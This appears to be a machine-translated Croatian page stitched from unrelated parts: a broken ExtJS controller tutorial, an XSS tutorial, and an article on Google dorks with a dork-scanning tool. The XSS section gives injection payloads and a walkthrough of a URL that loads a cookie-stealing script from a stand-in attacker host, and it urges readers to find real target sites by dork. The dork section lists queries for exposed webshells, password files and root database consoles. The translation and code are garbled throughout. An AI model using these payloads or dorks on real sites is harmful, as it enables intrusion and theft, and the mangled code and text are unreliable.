Inurl livre php msg upozorenje hrabro. Stvaranje kontrolera u ExtJS. Traženje riječi pomoću dodatnih operatora

Zadnja izmjena: 1.11.2015

Kontroler je ključna karika koja povezuje sve dijelove aplikacije zajedno i omogućuje njihov rad. Dodaj u katalog BookApp/aplikacija/kontroler datoteka Knjige.js sa sljedećim sadržajem:

Ext.define("BookApp.controller.Books", ( extend: "Ext.app.Controller", pogledi: ["BookList", "Book"], trgovine: ["BookStore"], modeli: ["Book"] , init: function() ( this.control(( "viewport > booklist": ( itemdblclick: this.editBook), "bookwindow button": ( click: this.createBook), "bookwindow button": ( click: this.updateBook ), "bookwindow button": ( click: this.deleteBook), "bookwindow button": ( click: this.clearForm )), // update updateBook: function(button) ( var win = button.up(" window") , form = win.down("form"), values ​​​​= form.getValues(), id = form.getRecord().get("id"); Ext.Ajax.request( ( url: "app/data/update.php", parametri: vrijednosti, uspjeh: funkcija(odgovor)( var data=Ext.decode(response.responseText); if(data.success)( var store = Ext.widget( " popis knjiga").getStore(); store.load(); Ext.Msg.alert("Update",data.message); else( Ext.Msg.alert("Update","Nije uspjelo ažuriranje knjige u knjižnici "); ) ) )); ), // stvaranje createBook: function(button) ( var win = button.up("window"), form = win.down("form"), values ​​​​= form.getValues () ; Ext.Ajax.request(( url: "app/data/create.php", params: values, success: function(response, options)( var data=Ext.decode(response.responseText); if(data.success) ( Ext.Msg.alert("Creation",data.message); var store = Ext.widget("booklist").getStore(); store.load(); ) else( Ext.Msg.alert("Creation" ,"Nije uspjelo dodavanje knjige u knjižnicu"); ), // brisanje deleteBook: function(button) ( var win = button.up("window"), form = win.down("form"), id = form.getRecord().get("id"); Ext.Ajax.request(( url: "app/data/delete.php", params: (id:id), success: function(response)( var data=Ext.decode(response.responseText); if(data. uspjeh)( Ext.Msg.alert("Delete",data.message); var store = Ext.widget("booklist").getStore(); var record = store.getById(id); store.remove(record) ; form.getForm.reset(); else( Ext.Msg.alert("Delete","Failed to delete a book from the library"); ) ), clearForm: function(grid, record) ( var view = Ext.widget("bookwindow"); view.down("form").getForm().reset(), editBook: function(grid, record) ( var view = Ext.widget("bookwindow"); view .down("forma").loadRecord(record);

Sada pogledajmo kod kontrolera. Prvo, nasljeđujemo od klase Ext.app.Controller i postavljamo kontroler na prethodno stvorene prikaze, modele i trgovine:

Pogledi: ["BookList", "Book"], trgovine: ["BookStore"], modeli: ["Book"],

Zatim, u parametru init, pomoću funkcije, inicijaliziramo rukovatelje gumbima koje imamo u prikazu. Kontrolna funkcija pomaže vam pridružiti rukovatelje komponentama. Ova funkcija koristi klasu Ext.ComponentQuery koja vam omogućuje korištenje selektora CSS stila za pronalaženje elemenata. Na primjer, izraz "viewport > booklist" traži elemente s aliasom booklist koji su definirani u komponenti viewport-a. Ovaj birač će završiti s prikazom BookList.

A izraz "bookwindow button" dobit će gumb čije je svojstvo akcije postavljeno na novo i koje se nalazi u elementu bookwindow, to jest u prikazu knjige, koji je alias bookwindow. Dakle, ako ste upoznati s CSS selektorima, onda vam neće biti teško razumjeti kako selektori rade u ExtJS-u.

"viewport > booklist": ( itemdblclick: this.editBook )

Sve funkcije rukovatelja definirane su nakon init funkcije. Rukovatelj this.editBook učitava odabrani model u prozor:

Uredi knjigu: funkcija (mreža, zapis) ( var pogled = Ext.widget("bookwindow"); view.down("forma").loadRecord(record); )

Koristeći metodu Ext.widget, pronalazimo željenu komponentu pomoću selektora Ext.ComponentQuery (ovaj bi izraz bio sličan izrazu Ext.create("widget.bookwindow")), a zatim dobivamo njen podređeni element pomoću metode dolje, također pomoću selektora. Zatim odabrani model učitavamo u obrazac.

Nakon učitavanja modela imamo tri mogućnosti: dodati novu knjigu, promijeniti odabranu ili izbrisati odabranu. I tu na scenu stupaju rukovatelji ovim gumbima. Budući da su rukovatelji istog tipa, analizirat ćemo jedan od njih.

Rukovatelj updateBook prima podatke promijenjene knjige i šalje Ajax zahtjev poslužitelju:

UpdateBook: function(button) ( var win = button.up("window"), form = win.down("form"), values ​​​​= form.getValues(), id = form.getRecord().get( "id "); values.id=id; Ext.Ajax.request(( url: "app/data/update.php", params: values, success: function(response)( var data=Ext.decode(response. responseText) ; if(data.success)( var store = Ext.widget("booklist").getStore(); store.load(); Ext.Msg.alert("Update",data.message); ) else( Ext. Msg.alert("Update","Failed to update the book in the library" ) ) );

Rukovatelj prima pritisnutu tipku kao parametar, a zatim koristeći up metodu možemo dobiti nadređene elemente ove tipke: function(button) (var win= button.up("window")...

Pomoću izraza values ​​​​= form.getValues() dobivamo sve vrijednosti polja obrasca, ali budući da je kod promjene u interakciji s bazom podataka, na primjer, potreban id, tada također dodajemo id model se ažurira na varijablu vrijednosti.

Zatim šaljemo Ajax zahtjev s novim podacima o knjizi na poslužitelj, prosljeđujući varijablu vrijednosti kao parametar zahtjevu. Primanje datoteke ažuriranje.php(koji bi trebao biti u mapi BookApp/aplikacija/podaci) može primiti proslijeđene parametre ovako:

I na kraju, u funkciji uspjeha, gledamo rezultat koji server šalje kao odgovor, i ako je sve prošlo u redu, preuzimamo ažurirane podatke sa servera.

Druga dva rukovatelja rade na sličnom principu.

I na samom kraju promijenit ćemo aplikacijsku datoteku app.js tako da prihvaća upravljač kreiran gore ovako:

Ext.application(( zahtijeva: ["Ext.container.Viewport"], naziv: "BookApp", appFolder: "app", kontroleri: ["Knjige"], pokretanje: function() ( Ext.create("Ext. container.Viewport", ( layout: "fit", items: ( xtype: "booklist" ) )); ) ));

U svojstvu kontrolera: ["Knjige"] specificiramo kontroler kreiran iznad.

Sada je aplikacija spremna i može se pokrenuti:

Dakle, možemo primijeniti MVC uzorak na izgradnju Ext JS aplikacija.

Cross-site scripting (XSS) je ranjivost koja uključuje ubacivanje koda na strani klijenta (JavaScript) u web stranicu koju drugi korisnici gledaju.

Ranjivost je posljedica nedovoljnog filtriranja podataka koje korisnik šalje za umetanje na web stranicu. Puno je lakše razumjeti na konkretnom primjeru. Zapamtite bilo koju knjigu gostiju - to su programi koji su dizajnirani za prihvaćanje podataka od korisnika i zatim ih prikazuju. Zamislimo da knjiga gostiju ni na koji način ne provjerava niti filtrira unesene podatke, već ih jednostavno prikazuje.

Možete skicirati svoju najjednostavniju skriptu (nema ništa lakše nego pisati loše skripte u PHP-u - mnogi ljudi to rade). Ali već postoji mnogo gotovih opcija. Na primjer, predlažem da počnete s Dojom i OWASP Mutillidae II. Ima i tamo sličnog primjera. U samostalnom Dojo okruženju idite na ovu vezu u svom pregledniku: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Ako je jedan od korisnika unio:

Web stranica će tada prikazati:

Zdravo! Sviđa mi se vaša stranica.

A ako korisnik unese ovo:

Zdravo! Sviđa mi se tvoj site.alert("Pwned")

Tada će se prikazati ovako:

Preglednici pohranjuju mnoge kolačiće za velik broj stranica. Svaka stranica može primati samo kolačiće koje je sama spremila. Na primjer, example.com je spremio neke kolačiće u vaš preglednik. Ako posjetite another.com, ova stranica (skripte klijenta i poslužitelja) ne može pristupiti kolačićima koje je example.com pohranio.

Ako je example.com ranjiv na XSS, to znači da možemo nekako ubaciti JavaScript kod u njega, a taj će se kôd izvršiti u ime example.com! Oni. Ovaj kod će, na primjer, pristupiti kolačićima example.com.

Mislim da se svi sjećaju da se JavaScript izvršava u korisničkim preglednicima, tj. u prisutnosti XSS-a, ugrađeni zlonamjerni kod dobiva pristup podacima korisnika koji je otvorio web stranicu.

Ugrađeni kod može učiniti sve što i JavaScript, naime:

  • dobiva pristup kolačićima web stranice koju gledate
  • može izvršiti bilo kakve promjene u izgledu stranice
  • pristupa međuspremniku
  • može implementirati JavaScript programe, na primjer, keyloggere (presretače tipki)
  • pokupiti na BeEF-u
  • i tako dalje.

Najjednostavniji primjer s kolačićima:

upozorenje(dokument.kolačić)

Zapravo, upozorenje se koristi samo za otkrivanje XSS-a. Pravi zlonamjerni teret izvodi skrivene radnje. Potajno kontaktira napadačev udaljeni poslužitelj i na njega prenosi ukradene podatke.

Vrste XSS-a

Najvažnija stvar koju treba razumjeti o vrstama XSS-a je da su:

  • Pohranjeno (Trajno)
  • Reflektirano (netrajno)

Primjer konstanti:

  • Posebno kreirana poruka koju napadač upisuje u knjigu gostiju (komentar, poruka na forumu, profil), a koja je spremljena na poslužitelju, preuzima se s poslužitelja svaki put kada korisnik zatraži prikaz ove stranice.
  • Napadač je dobio pristup podacima poslužitelja, na primjer, putem SQL injekcije i uveo zlonamjerni JavaScript kod (s kilologgerima ili BeEF-om) u podatke dane korisniku.

Primjer nestalnih:

  • Postoji pretraga na stranici koja, uz rezultate pretrage, prikazuje nešto poput "Tražili ste: [niz za pretraživanje]", a podaci nisu ispravno filtrirani. Budući da se takva stranica prikazuje samo osobi koja ima poveznicu na nju, napad neće funkcionirati sve dok napadač ne pošalje poveznicu drugim korisnicima stranice. Umjesto slanja poveznice žrtvi, možete upotrijebiti postavljanje zlonamjerne skripte na neutralnu stranicu koju žrtva posjećuje.

Oni također razlikuju (neki kao vrstu nepostojanih XSS ranjivosti, neki kažu da ova vrsta također može biti vrsta postojanih XSS):

  • DOM modeli
Značajke XSS-a temeljenog na DOM-u

Vrlo jednostavno rečeno, možemo vidjeti zlonamjerni kod “običnog” nepostojanog XSS-a ako otvorimo HTML kod. Na primjer, veza je oblikovana ovako:

Http://example.com/search.php?q="/>upozorenje(1)

I kada otvorimo izvorni HTML kod, vidimo nešto poput ovoga:

upozorenje(1)" /> Pronađi

A DOM XSS mijenja DOM strukturu, koja se formira u pregledniku u hodu, a maliciozni kod možemo vidjeti samo kada gledamo generiranu DOM strukturu. HTML se ne mijenja. Uzmimo ovaj kod kao primjer:

site:::DOM XSS Dogodila se pogreška... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (rezultati) (document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null;) display_session = OnLoad(); document.write("Vaš ID sesije bio je: " + display_session + "

")

Tada ćemo u pregledniku vidjeti:

Izvorni kod stranice:

Formirajmo adresu ovako:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Sada stranica izgleda ovako:

Ali pogledajmo izvorni HTML kod:

Tu se baš ništa nije promijenilo. Ovo je ono o čemu sam govorio, moramo pogledati DOM strukturu dokumenta kako bismo identificirali zlonamjerni kod:

Ovdje je radni XSS prototip, za pravi napad potreban nam je složeniji korisni teret, što nije moguće zbog činjenice da aplikacija prestaje čitati odmah nakon točke sa zarezom, a nešto poput alert(1);alert(2) nije duže moguće. Međutim, zahvaljujući unescape() možemo koristiti sadržaj poput ovog u povratnim podacima:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Gdje smo zamijenili simbol ; URI-kodiranom ekvivalentu!

Sada možemo napisati zlonamjerni JavaScript korisni teret i sastaviti vezu za slanje žrtvi, kao što je učinjeno za standardno nepostojano skriptiranje na više stranica.

XSS revizor

U Google Chromeu (a također i u Operi, koja sada koristi Google Chrome engine), čekalo me ovo iznenađenje:

dom_xss.html:30 XSS revizor odbio je izvršiti skriptu u "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" jer je njegov izvorni kod pronađen unutar zahtjeva. Revizor je bio omogućen jer poslužitelj nije poslao zaglavlje "X-XSS-Protection" niti "Content-Security-Policy".

Oni. preglednik sada ima XSS revizora koji će pokušati spriječiti XSS. Firefox još nema ovu funkciju, ali mislim da je to pitanje vremena. Ako je implementacija u preglednike uspješna, onda možemo govoriti o značajnim poteškoćama u korištenju XSS-a.

Dobro je zapamtiti da moderni preglednici poduzimaju korake kako bi ograničili razinu eksploatacijskih problema kao što su nepostojani XSS i XSS temeljen na DOM-u. Ovo je također nešto što treba zapamtiti kada testirate web stranice pomoću preglednika - može se ispostaviti da je web aplikacija ranjiva, ali ne vidite skočnu potvrdu samo zato što je preglednik blokira.

Primjeri korištenja XSS-a

Napadači koji namjeravaju iskoristiti ranjivosti skriptiranja na različitim mjestima moraju svakoj klasi ranjivosti pristupiti drugačije. Ovdje su opisani vektori napada za svaku klasu.

Za XSS ranjivosti, napadi mogu koristiti BeEF, koji proširuje napad s web stranice na lokalno okruženje korisnika.

Primjer nepostojanog XSS napada

1. Alice često posjećuje određenu web stranicu koju hostira Bob. Bobova web stranica omogućuje Alice da se prijavi s korisničkim imenom/lozinkom i pohrani osjetljive podatke kao što su podaci o plaćanju. Kada se korisnik prijavi, preglednik pohranjuje autorizacijske kolačiće, koji izgledaju kao besmisleni znakovi, tj. oba računala (klijent i poslužitelj) pamte da je ušla.

2. Mallory primjećuje da Bobova web stranica sadrži nepostojanu XSS ranjivost:

2.1 Kada posjetite stranicu za pretraživanje, unesite niz za pretraživanje i kliknite na gumb za slanje, ako nema rezultata, stranica prikazuje uneseni niz za pretraživanje iza kojeg slijede riječi "nije pronađeno", a url izgleda kao http://bobssite .org?q= njezin upit za pretraživanje

2.2 S uobičajenim upitom za pretraživanje kao što je riječ "psi", stranica jednostavno prikazuje "nisu pronađeni psi" i url http://bobssite.org?q=psi, što je sasvim normalno ponašanje.

2.3 Međutim, kada se pojavi nepravilan upit za pretraživanje kao što je alert("xss"); :

2.3.1 Pojavljuje se poruka upozorenja (koja kaže "xss").

2.3.2 Stranica prikazuje upozorenje("xss"); nije pronađen zajedno s porukom o pogrešci s tekstom "xss".

2.3.3 url pogodan za iskorištavanje http://bobssite.org?q=alert("xss");

3. Mallory konstruira URL za iskorištavanje ranjivosti:

3.1 Ona pravi URL http://bobssite.org?q=puppies. Može odlučiti pretvoriti ASCII znakove u heksadecimalni format kao što je http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E redom kako biste spriječili ljude da odmah dešifriraju zlonamjerni URL.

3.2 Šalje e-poruke nekim članovima Bobove stranice koji ništa ne sumnjaju govoreći: "Pogledajte cool pse."

4. Alisa prima pismo. Ona voli pse i klikne na link. Ode na Bobovu stranicu u pretrazi, ne nađe ništa, tamo se prikaže “no dog found” i u samoj sredini se pokrene oznaka sa skriptom (nevidljiva je na ekranu), preuzima i izvršava Maloryjevu authstealer.js program (pokreće XSS napad). Alice zaboravi na to.

5. Authstealer.js program radi u Aliceinom pregledniku kao da potječe s Bobove web stranice. Ona zgrabi kopiju Aliceinih autorizacijskih kolačića i pošalje ih Malorynom poslužitelju, gdje ih Malory dohvaća.

7. Sada kada je Malorie unutra, odlazi na odjeljak za plaćanje na web stranici, gleda i krade kopiju Aliceina broja kreditne kartice. Onda ona ode i promijeni lozinku, tj. Sada Alice više ne može ni ući.

8. Odlučuje se na sljedeći korak i šalje tako konstruiranu poveznicu samom Bobu i tako dobiva administrativne privilegije za Bobovu stranicu.

Stalni XSS napad

  • Mallory ima račun na Bobovoj web stranici.
  • Mallory primjećuje da Bobova web stranica sadrži stalnu XSS ranjivost. Ako odete u novi odjeljak i objavite komentar, on će prikazati sve što je u njega upisano. Ali ako tekst komentara sadrži HTML oznake, te će oznake biti prikazane kakve jesu, a sve oznake skripte bit će izvršene.
  • Mallory čita članak u odjeljku Vijesti i piše komentar u odjeljku Komentari. U komentar ubacuje tekst:
  • Jako su mi se svidjeli psi u ovoj priči. Baš su fini!
  • Kada Alice (ili bilo tko drugi) učita stranicu s ovim komentarom, Maloryna oznaka skripte se pokreće i krade Alicein autorizacijski kolačić, šaljući ga Malorynom tajnom poslužitelju na prikupljanje.
  • Mallory sada može oteti Aliceinu sesiju i glumiti Alice.
  • Pronalaženje stranica ranjivih na XSS

    Kreteni za XSS

    Prvi korak je odabir stranica na koje ćemo izvoditi XSS napade. Stranice se mogu pretraživati ​​pomoću Google dorksa. Evo nekoliko ovih kretena koje možete kopirati i zalijepiti u Google pretraživanje:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Pred nama će se otvoriti popis stranica. Morate otvoriti stranicu i na njoj pronaći polja za unos, kao što su obrazac za povratne informacije, obrazac za unos, pretraživanje stranice itd.

    Odmah ću napomenuti da je gotovo beskorisno tražiti ranjivosti u popularnim automatski ažuriranim web aplikacijama. Klasičan primjer takve aplikacije je WordPress. Zapravo, postoje ranjivosti u WordPressu, a posebno u njegovim dodacima. Štoviše, postoje mnoge web stranice koje ne ažuriraju niti WordPress mehanizam (zbog činjenice da je webmaster napravio neke promjene u izvornom kodu) niti svoje dodatke i teme (u pravilu su to piratski dodaci i teme). Ali ako čitate ovaj odjeljak i iz njega naučite nešto novo, onda WordPress još nije za vas... Sigurno ćemo mu se vratiti kasnije.

    Najbolji ciljevi su različiti motori i skripte koje sami pišete.

    Možete odabrati umetnuti korisni teret kao

    upozorenje (1)

    Obratite pozornost u koje oznake HTML koda spada vaš ugrađeni kod. Evo primjera tipičnog polja za unos:

    upozorenje (1)

    Naš će teret završiti tamo gdje je sada riječ "jastučnica". Oni. pretvoriti u vrijednost ulazne oznake. To možemo izbjeći zatvaranjem dvostrukih navodnika, a zatim same oznake s "/>".

    "/>upozorenje(1)

    Probajmo za neku stranicu:

    Super, postoji ranjivost

    Programi za traženje i skeniranje XSS ranjivosti

    Vjerojatno svi skeneri web aplikacija imaju ugrađeni skener XSS ranjivosti. Ova tema nije sveobuhvatna, bolje je upoznati se sa svakim sličnim skenerom zasebno.

    Postoje i specijalizirani alati za skeniranje XSS ranjivosti. Među njima posebno možemo istaknuti:

    • XSSer nije samo moćan skener koji može koristiti različite metode ubacivanja i zaobilaženja filtriranja, već je i automatizirani alat za traženje stranica ranjivih na XSS (od strane kretena). Za stranice s pronađenim ranjivostima, može ubaciti korisni teret za pravi napad;
    • XssPy je također prilično neovisan alat koji može pronaći sve stranice stranice (uključujući one na poddomenama) i provjeriti sve elemente unosa na tim stranicama;

    USSCLTD 10. svibnja 2016. u 12:38

    Traženje ranjivosti pomoću Googlea
    • Sigurnost informacija

    Svaka potraga za ranjivostima na web resursima počinje izviđanjem i prikupljanjem informacija.
    Inteligencija može biti aktivna - brutalna sila datoteka i direktorija stranice, pokretanje skenera ranjivosti, ručno pregledavanje stranice ili pasivna - traženje informacija u različitim tražilicama. Ponekad se dogodi da ranjivost postane poznata i prije otvaranja prve stranice stranice.

    Kako je ovo moguće?
    Roboti za pretraživanje, koji neprestano lutaju internetom, osim informacija korisnih prosječnom korisniku, često bilježe i stvari koje napadačima mogu poslužiti za napad na web izvor. Na primjer, pogreške skripte i datoteke s osjetljivim informacijama (od konfiguracijskih datoteka i zapisa do datoteka s podacima za provjeru autentičnosti i sigurnosnih kopija baze podataka).
    Sa stajališta robota za pretraživanje, poruka o pogrešci o izvršavanju sql upita je običan tekst, neodvojiv, na primjer, od opisa proizvoda na stranici. Ako iznenada robot za pretraživanje naiđe na datoteku s nastavkom .sql, koja je iz nekog razloga završila u radnoj mapi web-mjesta, tada će se percipirati kao dio sadržaja web-mjesta i također će biti indeksirana (uključujući, eventualno, lozinke navedeno u njemu).

    Takve informacije mogu se pronaći poznavanjem snažnih, često jedinstvenih ključnih riječi koje pomažu odvojiti "ranjive stranice" od stranica koje ne sadrže ranjivosti.
    Ogromna baza podataka posebnih upita koji koriste ključne riječi (tzv. dorks) postoji na exploit-db.com i poznata je kao Google Hack Database.

    Zašto google?
    Kreteni su prvenstveno ciljani na Googleu iz dva razloga:
    − najfleksibilniju sintaksu ključnih riječi (prikazano u tablici 1.) i posebnih znakova (prikazano u tablici 2.);
    − Googleov indeks još uvijek je potpuniji od indeksa drugih tražilica;

    Tablica 1 - Glavne Google ključne riječi

    Ključna riječ
    Značenje
    Primjer
    mjesto
    Traži samo na navedenom mjestu. Uzima u obzir samo url
    site:somesite.ru - pronaći će sve stranice na određenoj domeni i poddomenama
    inurl
    Pretražujte prema riječima prisutnim u URI-ju. Za razliku od cl. riječi "site", traži podudaranja iza naziva stranice
    inurl:news - pronalazi sve stranice na kojima se navedena riječ pojavljuje u uri-ju
    intext
    Tražite u tijelu stranice
    intext:”prometne gužve” - potpuno slično uobičajenom zahtjevu za “prometne gužve”
    podnaslov
    Tražite u naslovu stranice. Tekst između oznaka
    intitle:”index of” - pronaći će sve stranice s imenicima
    ekst
    Tražite stranice s određenim nastavkom
    ext:pdf - pronalazi sve pdf datoteke
    Vrsta datoteke
    Trenutno potpuno sličan razredu. riječ "ext"
    filetype:pdf - slično
    srodni
    Potražite stranice sa sličnim temama
    related:google.ru - pokazat će svoje analoge
    veza
    Potražite stranice koje povezuju na ovo
    link:somesite.ru - pronaći će sve stranice koje imaju poveznicu na ovo
    definirati
    Prikaži definiciju riječi
    define:0day - definicija pojma
    predmemorija
    Prikaži sadržaj stranice u predmemoriji (ako postoji)
    cache:google.com - otvorit će stranicu u predmemoriji

    Tablica 2 - Posebni znakovi za Google upite

    Simbol
    Značenje
    Primjer

    Točna fraza
    intitle:“Stranica za konfiguraciju routera RouterOS” - traženje routera
    *
    Bilo koji tekst
    inurl: “bitrix*mcart” - traži stranice na bitrixu s ranjivim mcart modulom
    .
    Bilo koji lik
    Index.of - slično indeksu zahtjeva
    -
    Izbriši riječ
    greška -upozorenje - prikazuje sve stranice koje imaju grešku, ali ne i upozorenje
    ..
    Raspon
    cve 2006..2016 - prikaži ranjivosti po godinama počevši od 2006.
    |
    Logično "ili"
    linux | prozori - prikazuju stranice na kojima se pojavljuje prva ili druga riječ

    Vrijedno je razumjeti da je svaki zahtjev tražilici pretraživanje samo riječima.
    Beskorisno je tražiti meta-znakove na stranici (navodnike, zagrade, interpunkcijske znakove itd.). Čak je i traženje točne fraze navedene u navodnicima pretraživanje riječi, nakon čega slijedi traženje točnog podudaranja u rezultatima.

    Svi kreteni Google Hack Database logično su podijeljeni u 14 kategorija i prikazani su u tablici 3.
    Tablica 3 – Kategorije baze podataka Google Hack

    Kategorija
    Što vam omogućuje da pronađete
    Primjer
    uporišta
    Web ljuske, upravitelji javnih datoteka
    Pronađite sve hakirane stranice na koje su učitane navedene web-ljuske:
    (intitle:"phpshell" ILI intitle:"c99shell" ILI intitle:"r57shell" ILI intitle:"PHP Shell" ILI intitle:"phpRemoteView") `rwx` "uname"
    Datoteke koje sadrže korisnička imena
    Datoteke registra, konfiguracijske datoteke, zapisnici, datoteke koje sadrže povijest unesenih naredbi
    Pronađite sve datoteke registra koje sadrže informacije o računu:
    filetype:reg reg +intext:“upravitelj internetskog računa”
    Osjetljivi direktoriji
    Imenici s raznim informacijama (osobni dokumenti, vpn konfiguracije, skrivena spremišta itd.)
    Pronađite sve popise direktorija koji sadrže datoteke povezane s VPN-om:
    "Config" intitle:"Index of" intext:vpn
    Stranice koje sadrže git spremišta:
    (intext:"indeks /.git") ("nadređeni direktorij")
    Detekcija web poslužitelja
    Verzija i druge informacije o web poslužitelju
    Pronađite administrativne konzole poslužitelja JBoss:
    inurl:"/web-console/" intitle:"Administracijska konzola"
    Ranjive datoteke
    Skripte koje sadrže poznate ranjivosti
    Pronađite stranice koje koriste skriptu koja vam omogućuje učitavanje proizvoljne datoteke s poslužitelja:
    allinurl:forcedownload.php?file=
    Ranjivi poslužitelji
    Instalacijske skripte, web ljuske, otvorene administrativne konzole itd.
    Pronađite otvorene PHPMyAdmin konzole koje rade kao root:
    intitle:phpMyAdmin "Dobro došli u phpMyAdmin ***" "radi na * kao root@*"
    Poruke o pogreškama
    Razne pogreške i upozorenja često otkrivaju važne informacije - od CMS verzije do lozinki
    Stranice koje imaju pogreške u izvršavanju SQL upita u bazu podataka:
    "Upozorenje: mysql_query()" "nevažeći upit"
    Datoteke koje sadrže sočne informacije
    Certifikati, sigurnosne kopije, e-pošta, zapisnici, SQL skripte itd.
    Pronađite inicijalizacijske sql skripte:
    filetype:sql i “insert into” -site:github.com
    Datoteke koje sadrže lozinke
    Sve što može sadržavati lozinke - zapisnici, SQL skripte itd.
    Dnevnici koji spominju lozinke:
    Vrsta datoteke:logtekst:lozinka |proći |pw
    sql skripte koje sadrže lozinke:
    ext:sqltekst:Korisničko imetekst:lozinka
    Osjetljive informacije o online kupnji
    Informacije vezane uz online kupnju
    Pronađite pin kodove:
    dcid=bn=pribadačakod=
    Podaci o mreži ili ranjivosti
    Informacije koje nisu izravno povezane s web resursom, ali utječu na mrežu ili druge neweb usluge
    Pronađite skripte za automatsku konfiguraciju proxyja koje sadrže informacije o internoj mreži:
    inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl
    Stranice koje sadrže portale za prijavu
    Stranice koje sadrže obrasce za prijavu
    saplogon web stranice:
    intext:"2016 SAP AG. Sva prava pridržana." naslov:"Prijava"
    Razni mrežni uređaji
    Pisači, usmjerivači, sustavi za nadzor itd.
    Pronađite konfiguracijsku ploču pisača:
    naslov:"hplaserjet"inurl:SSI/Auth/set_config_informacije o uređaju.htm
    Savjeti i ranjivosti
    Web stranice na ranjivim verzijama CMS-a
    Pronađite ranjive dodatke putem kojih možete prenijeti proizvoljnu datoteku na poslužitelj:
    inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled

    Kreteni su češće usredotočeni na pretraživanje po svim internetskim stranicama. Ali ništa vas ne sprječava da ograničite opseg pretraživanja na bilo kojem mjestu ili mjestima.
    Svaki Google upit može se fokusirati na određenu stranicu dodavanjem ključne riječi "site:somesite.com" upitu. Ova se ključna riječ može dodati bilo kojem kretenu.

    Automatiziranje traženja ranjivosti
    Tako se rodila ideja da se napiše jednostavan pomoćni program koji automatizira traženje ranjivosti pomoću tražilice (google) i oslanja se na Google Hack Database.

    Uslužni program je skripta napisana u nodejs koristeći phantomjs. Da budemo precizni, skriptu tumači sam phantomjs.
    Phantomjs je potpuni web-preglednik bez GUI-a, kojim upravlja js kod i s praktičnim API-jem.
    Uslužni program dobio je sasvim razumljiv naziv - dorks. Pokretanjem iz naredbenog retka (bez opcija) dobivamo kratku pomoć s nekoliko primjera korištenja:


    Slika 1 - Popis glavnih opcija dorksa

    Opća sintaksa uslužnog programa je: dork “naredba” “popis opcija”.
    Detaljan opis svih opcija prikazan je u tablici 4.

    Tablica 4 - Dorks sintaksa

    Tim
    Opcija
    Opis
    ghdb
    -l
    Ispišite numerirani popis glupih kategorija Google Hack Database
    -c “broj kategorije ili naziv”
    Učitajte vrata navedene kategorije prema broju ili nazivu
    -q "fraza"
    Preuzmite kretene pronađene na zahtjev
    -o "datoteka"
    Spremite rezultat u datoteku (samo s opcijama -c|-q)
    google
    -d "glupan"
    Postavite proizvoljnu glupost (opcija se može koristiti više puta, dopuštena je kombinacija s opcijom -D)
    -D "datoteka"
    Koristite kretene iz datoteke
    -s "mjesto"
    Postavi mjesto (opcija se može koristiti više puta, dopuštena je kombinacija s opcijom -S)
    -S "datoteka"
    Koristite web-mjesta iz datoteke (ludaci će se pretraživati ​​za svako web-mjesto neovisno)
    -f "filtar"
    Postavite dodatne ključne riječi (dodat će se svakom kretenu)
    -t "broj ms"
    Interval između zahtjeva googleu
    -T "broj ms"
    Istek vremena ako se naiđe na captcha
    -o "datoteka"
    Spremite rezultat u datoteku (spremit će se samo one staze za koje je nešto pronađeno)

    Koristeći naredbu ghdb, možete dobiti sve kretene iz exploit-db-a proizvoljnim zahtjevom ili odrediti cijelu kategoriju. Ako navedete kategoriju 0, iskrcat će se cijela baza podataka (oko 4,5 tisuća kretena).

    Popis trenutno dostupnih kategorija prikazan je na slici 2.

    Slika 2 - Popis dostupnih GHDB dork kategorija

    Google tim će zamijeniti svakog kretena u google tražilicu i analizirati rezultat za podudaranja. Staze na kojima je nešto pronađeno bit će spremljene u datoteku.
    Uslužni program podržava različite načine pretraživanja:
    1 dork i 1 mjesto;
    1 kreten i mnogo mjesta;
    1 mjesto i mnogo kretena;
    mnogo mjesta i mnogo glupana;
    Popis kretena i stranica može se navesti ili kroz argument ili kroz datoteku.

    Demonstracija rada
    Pokušajmo potražiti bilo kakve ranjivosti koristeći primjer traženja poruka o grešci. Naredbom: dorks ghdb –c 7 –o errors.dorks svi poznati dorks kategorije “Poruke o pogrešci” bit će učitani kao što je prikazano na slici 3.


    Slika 3 – Učitavanje svih poznatih glupana kategorije “Poruke o pogrešci”.

    Dorks se preuzimaju i spremaju u datoteku. Sada samo preostaje da ih “postavite” na neko mjesto (vidi sliku 4).


    Slika 4 – Pretraga ranjivosti stranice od interesa u Google cacheu

    Nakon nekog vremena, na web mjestu koje se proučava (vidi sliku 5) otkriveno je nekoliko stranica s pogreškama.


    Slika 5 - Pronađene poruke o pogrešci

    Kao rezultat toga, u datoteci result.txt dobivamo potpuni popis kretena koji dovode do pogreške.
    Slika 6 prikazuje rezultat traženja grešaka na stranici.

    Slika 6 – Rezultat pretraživanja pogreške

    U predmemoriji za ovaj kreten prikazan je kompletan povratni trag koji otkriva apsolutne staze skripti, sustav upravljanja sadržajem stranice i vrstu baze podataka (vidi sliku 7).


    Slika 7 – otkrivanje informacija o dizajnu stranice

    Međutim, vrijedi uzeti u obzir da svi kreteni iz GHDB-a ne daju prave rezultate. Također, Google možda neće pronaći točno podudaranje i pokazati sličan rezultat.

    U ovom slučaju, pametnije je koristiti svoj osobni popis kretena. Na primjer, uvijek se isplati tražiti datoteke s "neobičnim" ekstenzijama, čiji su primjeri prikazani na slici 8.


    Slika 8 – Popis ekstenzija datoteka koje nisu tipične za redoviti web izvor

    Kao rezultat toga, s naredbom dorks google –D extensions.txt –f bank, od prvog zahtjeva Google počinje vraćati stranice s “neuobičajenim” ekstenzijama datoteka (vidi sliku 9).


    Slika 9 – Pretraga "loših" vrsta datoteka na bankarskim web stranicama

    Važno je imati na umu da Google ne prihvaća upite duže od 32 riječi.

    Korištenje naredbe dorks google –d intext:”greška|upozorenje|obavijest|sintaksa” –f sveučilište
    Pogreške PHP tumača možete potražiti na obrazovnim web stranicama (vidi sliku 10).


